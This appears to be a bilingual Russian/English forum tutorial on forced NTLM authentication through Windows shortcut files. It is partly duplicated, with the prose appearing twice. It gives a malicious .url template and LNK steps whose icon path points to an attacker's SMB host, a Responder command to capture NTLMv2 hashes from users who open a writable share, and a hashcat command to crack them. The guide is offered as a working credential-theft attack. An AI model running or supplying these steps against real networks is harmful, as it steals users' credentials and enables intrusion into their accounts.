Принудительная аутентификация через ярлыки / Forced authentication via shortcuts
Файлы ярлыков в Windows (LNK и URL) имеют значки. Эти значки можно загрузить из общих папок. Когда Windows получает доступ к таким общим ресурсам, он пытается автоматически аутентифицироваться с учетными данными текущего пользователя.
Если обнаружить общие ресурсы с правами на запись, то можно на нем разместить ярлык чтобы получить данные аутентификации.
Проверить привилегии общего ресурса можно с помощью PowerShell
Windows shortcut files (LNKs and URLs) have icons. These icons can be downloaded from shares. When Windows accesses these shares, it attempts to automatically authenticate with the current user's credentials.
If you find a share with write privileges, you can place a shortcut on it to get the authentication credentials.
You can verify the privileges of a share using PowerShell
Если нужно рекурсивно проверить привилегии всех каталогов на файловом ресурсе
If you want to recursively check the privileges of all directories on a file share
Создать URL просто, открыть блокнот и вставить туда следующий код
Creating a URL is easy, open notepad and paste the following code into it
Сохранить как файл с разрешением url
Save as a file with url resolution
Создать LNK тоже не сложно, нужно на любом файле или папке кликнуть правой клавишей и из контекстного меню выбрать создать ярлык. Теперь выбрать ярлык и нажать на нем правую клавишу мыши и выбрать свойства и нажать кнопку сменить значок в появившемся окне ввести \\<наш IP>\%USERNAME%.icon и нажать Ок и Применить.
Creating LNK is also not difficult, you need to right click on any file or folder and from the context menu select create shortcut. Now select the shortcut and right click on it and select properties and click change icon button in the window that appears enter \\\<our IP>\%USERNAME%.icon and click Ok and Apply.
Запустить Responder для windows. (Чтобы можно было принимать SMB, необходимо отключить службу Server, для этого необходимы привилегии локального администратора, и перезагрузить машину).
Run Responder for windows. (To be able to accept SMB, you must disable the Server service, which requires local administrator privileges, and reboot the machine).
(https://github.com/lgandx/Responder-Windows)
<наш IP> / < our IP> eth1
Когда на файловый ресурс зайдет пользователь мы получим его хеш NTLMv2, который можно попытаться перебрать по словарю с помощью hashcat.
When a user visits the file share, we will get its NTLMv2 hash, which we can try to parse through the dictionary using hashcat
Файлы ярлыков в Windows (LNK и URL) имеют значки. Эти значки можно загрузить из общих папок. Когда Windows получает доступ к таким общим ресурсам, он пытается автоматически аутентифицироваться с учетными данными текущего пользователя.
Если обнаружить общие ресурсы с правами на запись, то можно на нем разместить ярлык чтобы получить данные аутентификации.
Проверить привилегии общего ресурса можно с помощью PowerShell
Windows shortcut files (LNKs and URLs) have icons. These icons can be downloaded from shares. When Windows accesses these shares, it attempts to automatically authenticate with the current user's credentials.
If you find a share with write privileges, you can place a shortcut on it to get the authentication credentials.
You can verify the privileges of a share using PowerShell
Код:
(Get-Acl -Path '\\share\').Access
Если нужно рекурсивно проверить привилегии всех каталогов на файловом ресурсе
If you want to recursively check the privileges of all directories on a file share
Код:
Get-ChildItem -Path '\\share\' -Recurse | Where-Object {($_.PsIsContainer)} | Get-Acl | Format-Table -Wrap
Создать URL просто, открыть блокнот и вставить туда следующий код
Creating a URL is easy, open notepad and paste the following code into it
Код:
[InternetShortcut]
URL=test
WorkingDirectory=test
IconFile=\\<наш IP>\%USERNAME%.icon
IconIndex=1
Сохранить как файл с разрешением url
Save as a file with url resolution
Создать LNK тоже не сложно, нужно на любом файле или папке кликнуть правой клавишей и из контекстного меню выбрать создать ярлык. Теперь выбрать ярлык и нажать на нем правую клавишу мыши и выбрать свойства и нажать кнопку сменить значок в появившемся окне ввести \\<наш IP>\%USERNAME%.icon и нажать Ок и Применить.
Creating LNK is also not difficult, you need to right click on any file or folder and from the context menu select create shortcut. Now select the shortcut and right click on it and select properties and click change icon button in the window that appears enter \\\<our IP>\%USERNAME%.icon and click Ok and Apply.
Запустить Responder для windows. (Чтобы можно было принимать SMB, необходимо отключить службу Server, для этого необходимы привилегии локального администратора, и перезагрузить машину).
Run Responder for windows. (To be able to accept SMB, you must disable the Server service, which requires local administrator privileges, and reboot the machine).
(https://github.com/lgandx/Responder-Windows)
Код:
Responder.exe -i <наш IP> -v
Код:
Responder.exe -i < our IP> -v
<наш IP> / < our IP> eth1
Когда на файловый ресурс зайдет пользователь мы получим его хеш NTLMv2, который можно попытаться перебрать по словарю с помощью hashcat.
When a user visits the file share, we will get its NTLMv2 hash, which we can try to parse through the dictionary using hashcat
Код:
hashcat -a 0 -m 5600 hashes.txt wordlist -o result.txt